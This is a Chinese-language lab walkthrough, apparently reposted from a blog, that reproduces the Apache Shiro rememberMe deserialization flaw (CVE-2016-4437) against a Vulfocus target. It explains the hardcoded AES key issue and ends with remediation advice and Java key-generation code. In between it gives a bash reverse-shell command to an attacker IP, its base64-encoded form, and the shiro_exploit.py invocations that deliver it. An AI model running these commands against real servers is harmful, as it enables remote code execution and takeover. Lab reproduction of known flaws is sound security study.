栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

CVE-2016-4437 Shiro反序列化漏洞复现

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

CVE-2016-4437 Shiro反序列化漏洞复现

一、漏洞概述

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

二、影响版本

Apache Shiro <= 1.2.4
 

三、漏洞原理

shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、Base64编码操作。在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序可以推断出解密的顺序为获取cookie-base64解码-AES解密-反序列化。

AES加密的KEY值被硬编码在代码中,可以从源码中找到KEY值。攻击者可以构造恶意代码,将其序列化-AES加密-base64编码,最后作为cookie值得rememberMe字段发送,shiro将接收到的rememberMe字段进行解码-解密-反序列化,如果成功,则执行恶意代码,构成攻击。

————https://www.cnblogs.com/peace-and-romance/p/15669560.html

四、漏洞复现环境

Kali Linux + Vulfocus
渗透机:Kali Linux 
靶机:Vulfocus

五、实验步骤

1.开启vulfoucs并获取实验镜像

2.使用Shiro_exploit检测是否存在shiro漏洞

项目链接:https://github.com/insightglacier/Shiro_exploit

1

python3 shiro_exploit.py -u http://192.168.117.131:45182

 vulnerable:Ture即表示存在shiro漏洞

3.监听4216端口

4.对反弹shell命令进行加密并利用

1

2

3

bash -i >& /dev/tcp/192.168.117.131/4216 0>&1

base 64加密

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExNy4xMzEvNDIxNiAwPiYx}|{base64,-d}|{bash,-i}

进而利用漏洞,获取flag,完结撒花

1

python3 shiro_exploit.py -t 3 -u http://192.168.117.131:45182 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExNy4xMzEvNDIxNiAwPiYx}|{base64,-d}|{bash,-i}"

六、修复方式

修复建议:升级shiro至最新版本1.7.0并生成新的密钥替换,注意妥善保管密钥。
利用官方提供的方法生成密钥:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey(int),替换key修复指南:如以下内容!

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

package com.iot.mainsite.component.shiro;

import lombok.extern.slf4j.Slf4j;

import org.springframework.context.annotation.Bean;

import javax.crypto.KeyGenerator;

import javax.crypto.SecretKey;

import java.security.NoSuchAlgorithmException;

@Slf4j

public class GenerateCipherKey {

    

    @Bean

    public static byte[] generateNewKey() {

        KeyGenerator keyGenerator;

        try {

            keyGenerator = KeyGenerator.getInstance("AES");

        } catch (NoSuchAlgorithmException e) {

            String msg = "Unable to acquire AES algorithm. This is required to function.";

            throw new IllegalStateException(msg, e);

        }

        keyGenerator.init(128);

        SecretKey secretKey = keyGenerator.generateKey();

        byte[] encoded = secretKey.getEncoded();

        log.info("生成随机秘钥成功!");

        return encoded;

    }

}————https://blog.csdn.net/m0_67401835/article/details/123828791

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/891054.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号